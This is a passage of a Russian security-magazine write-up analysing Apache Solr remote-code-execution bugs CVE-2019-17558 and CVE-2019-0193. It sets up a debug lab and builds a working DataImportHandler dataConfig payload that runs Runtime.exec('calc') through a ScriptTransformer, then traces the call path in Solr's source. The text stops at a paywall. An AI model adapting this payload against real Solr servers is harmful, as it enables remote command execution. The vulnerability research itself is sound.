Следующая новость
Предыдущая новость

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr

20.02.2020 17:02
Солнечный удар. Разбираем две опасные уязвимости в Apache Solr

Содержание статьи

  • Стенд
  • Уязвимость в DataImportHandler
  • Уязвимость в движке Velocity
  • Демонстрация уязвимости (видео)
  • Заключение

Недавно исследователи нашли две крупные уязвимости в опенсорсной платформе полнотекстового поиска Apache Solr. Первый баг связан с некорректной обработкой шаблонов Velocity, второй кроется в модуле импорта баз данных. Эксплуатация любого из них приводит к удаленному выполнению команд, поэтому их статус — критический.

Solr написан на Java и основан на поисковом движке Apache Lucene. Его применяют для поиска по текстам, подсветки результатов, фасетного поиска, динамической кластеризации и прочего. Solr хорошо масштабируется и успел стать одним из самых популярных поисковых движков.

Первая уязвимость — CVE-2019-17558. Она существует благодаря возможности перезаписи конфигурации, что позволяет использовать кастомные шаблоны, в которых можно выполнять произвольные системные команды. Баг затрагивает все версии Apache Solr, начиная с 5.0.0 и заканчивая 8.3.1.

Вторая уязвимость — CVE-2019-0193. Она находится в модуле DataImportHandler. Злоумышленник может передать полезную нагрузку в параметре dataConfig при помощи запроса GET к функции импорта конфигурации БД. Обнаружил баг исследователь из Veracode Михаил Степанкин. Уязвимость затрагивает все версии Apache Solr до 8.2.0.

Стенд

Для начала поднимем стенд, на котором будем препарировать баги. Чтобы сэкономить время, возьмем версию, которая уязвима перед обоими эксплоитами, — 8.1.1. Здесь, как обычно, два пути. Один — использовать готовый контейнер Docker, он подойдет, если ты не планируешь морочиться с отладкой и копаться во внутренностях Solr. Для этого воспользуемся репозиторием vulhub. Все, что требуется, — это пара файлов docker-compose.xml: для CVE-2019-0193 и для CVE-2019-17558. Сохраняем их в отдельные папки и запускаем с помощью команды

docker-compose up -d 
Контейнер Docker для тестирования уязвимости CVE-2019-0193

Теперь вернемся ко второму варианту стенда (я буду использовать в статье именно его). На самом деле он не сильно сложнее. Сначала скачиваем с официального сайта необходимую версию Solr — solr-8.1.1-src.tgz. Распаковываем архив и переходим в директорию bin. Теперь, чтобы запустить сервер, достаточно выполнить скрипт solr.cmd для Windows или solr для Linux и macOS.

solr start 

Сервер стартует на порте 8983.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Стенд Apache Solr 8.1.1 для тестирования уязвимостей

Однако нам еще понадобится возможность отладки, поэтому пока притормозим Solr.

solr stop -all 

Для дебага я буду использовать IntelliJ IDEA. Для начала воспользуемся утилитой Ant, чтобы сгенерировать необходимое окружение.

ant ivy-bootstrap ant idea 

Переходим в папку solr и выполняем еще одну команду.

ant server 
Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Подготовка окружения для отладки Apache Solr

После того как команды успешно отработают, можно открывать проект в IDEA. Теперь укажем параметры запуска сервера. Для этого добавим новую конфигурацию удаленной отладки. Укажем порт и выберем server в качестве module classpath.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Конфигурация для удаленной отладки в IDEA

Обрати внимание на строку Command line arguments for remote JVM. Ее нужно добавить в качестве аргумента в команду для запуска сервера.

solr start -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983" 

После этого запускаем отладчик, и стенд готов.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Готовый стенд Apache Solr с возможностью отладки

Осталось только создать два тестовых экземпляра ядра (core), чтобы анализировать уязвимости. Для бага в DataImportHandler я буду использовать конфиг example-DIH.

solr create_core -c test -d ../example/example-DIH/solr/db 
Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Тестовая инстанция для анализа CVE-2019-0193

А для бага в обработчике шаблонов достаточно дефолтного конфига.

solr create_core -c vel 

Переходим к обзору уязвимостей, начну в хронологическом порядке.

Уязвимость в DataImportHandler

Во многих поисковых приложениях контент для индексирования хранится в структурированном хранилище данных, например в реляционной СУБД. Data Import Handler (или DIH) предоставляет механизм для импорта содержимого из такого хранилища данных и его индексации. В нем есть функция, которая отправляет всю конфигурацию БД одним запросом с параметром dataConfig. Режим дебага DIH позволяет удобно отлаживать такую конфигурацию.

Но есть и подводные камни — DIH-конфигурация может содержать скрипты, а это потенциальный вектор для атаки. Точнее, это прямой путь к выполнению произвольного кода! 🙂 Если заглянешь в документацию к ScriptTransfer, то увидишь, что хотя функции-трансформаторы и пишутся по дефолту на JavaScript, в них можно использовать вставки кода на Java.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Пример использования ScriptTransformer с кодом на Java

Также обрати внимание на то, как вызывается созданный трансформер.

Используя тривиальный метод getRuntime().exec(), можно накидать тело функции rce, которая будет выполнять любой код.

<dataConfig>   <script><![CDATA[     function rce() {       java.lang.Runtime.getRuntime().exec("calc");     }   ]]></script> 

Остается вопрос о том, в каком контексте эту функцию можно вызвать. Для этих целей нам понадобится источник валидных данных. Так как возиться с поднятием своей БД совсем не хочется, заглянем еще раз в документацию. К нашему счастью, DataImportHandler поддерживает целую вязанку разных источников. Например, URLDataSource, который получает данные из определенного URL.

<dataConfig>   <dataSource type="URLDataSource" />   <script><![CDATA[     function rce() {       java.lang.Runtime.getRuntime().exec("calc");     }   ]]></script> 

В качестве обработчика данных я буду использовать обычный PlainTextEntityProcessor, который просто читает все содержимое в поле plainText. Но это абсолютно не важно, главное — использовать в качестве трансформера нашу функцию.

<dataConfig>   <dataSource type="URLDataSource" />   <script><![CDATA[     function rce() {       java.lang.Runtime.getRuntime().exec("calc");     }   ]]></script>   <document>     <entity processor="PlainTextEntityProcessor" name="x" url="http://abc.com/" transformer="script:rce" />   </document> </dataConfig> 

Здесь я получаю все содержимое страницы http://abc.com/ и затем применяю к нему функцию rce.

Включим режим отладки конфигурации DIH и отправим полученный пейлоад. Если сейчас перехватить запрос, то он будет передан в параметре dataConfig.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Выполнение произвольного кода в Apache Solr через DataImportHandler

Установим в отладчике брейк-пойнт на вызов метода инициализации ScriptTransformer.

org.apache.solr.handler.dataimport.ScriptTransformer#initEngine 

И видим, что по умолчанию для трансформеров используется JavaScript. А движок, который выполняет парсинг кода на JS, — Nashorn.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Отладка инициализации ScriptTransformer
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer { ... 65:   private void initEngine(Context context) { 66:     String scriptText = context.getScript(); 67:     String scriptLang = context.getScriptLanguage(); ... 72:     ScriptEngineManager scriptEngineMgr = new ScriptEngineManager(); 73:     ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang); ... 86:     try { 87:       scriptEngine.eval(scriptText); 

Из документации можно узнать, что Nashorn позволяет обращаться к стандартным пакетам и классам Java.

Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Вызов калькулятора через java.lang.Runtime.getRuntime в Nashorn

Далее выполнение кода переходит в

org.apache.solr.handler.dataimport.ScriptTransformer#transformRow 

Здесь и вызывается наша функция.

/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer { ... 48:   @Override 49:   public Object transformRow(Map<String, Object> row, Context context) { 50:     try { 51:       if (engine == null) 52:         initEngine(context); 53:       if (engine == null) 54:         return row; 55:       return engine.invokeFunction(functionName, new Object[]{row, context}); 
Солнечный удар. Разбираем две опасные уязвимости в Apache Solr
Момент вызова функции rce

Таким образом, можно выполнить любые команды в системе. Это поведение, разумеется, открывает серьезную брешь в безопасности, поэтому с версии 8.2.0 Apache Solr по дефолту не позволяет использовать загрузку напрямую через веб-интерфейс из параметра dataConfig. Чтобы такой способ заработал, теперь нужно установить настройку enable.dih.dataConfigParam в true.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

1 год

7690 р.

1 месяц

720 р.

Я уже участник «Xakep.ru»

Источник

Последние новости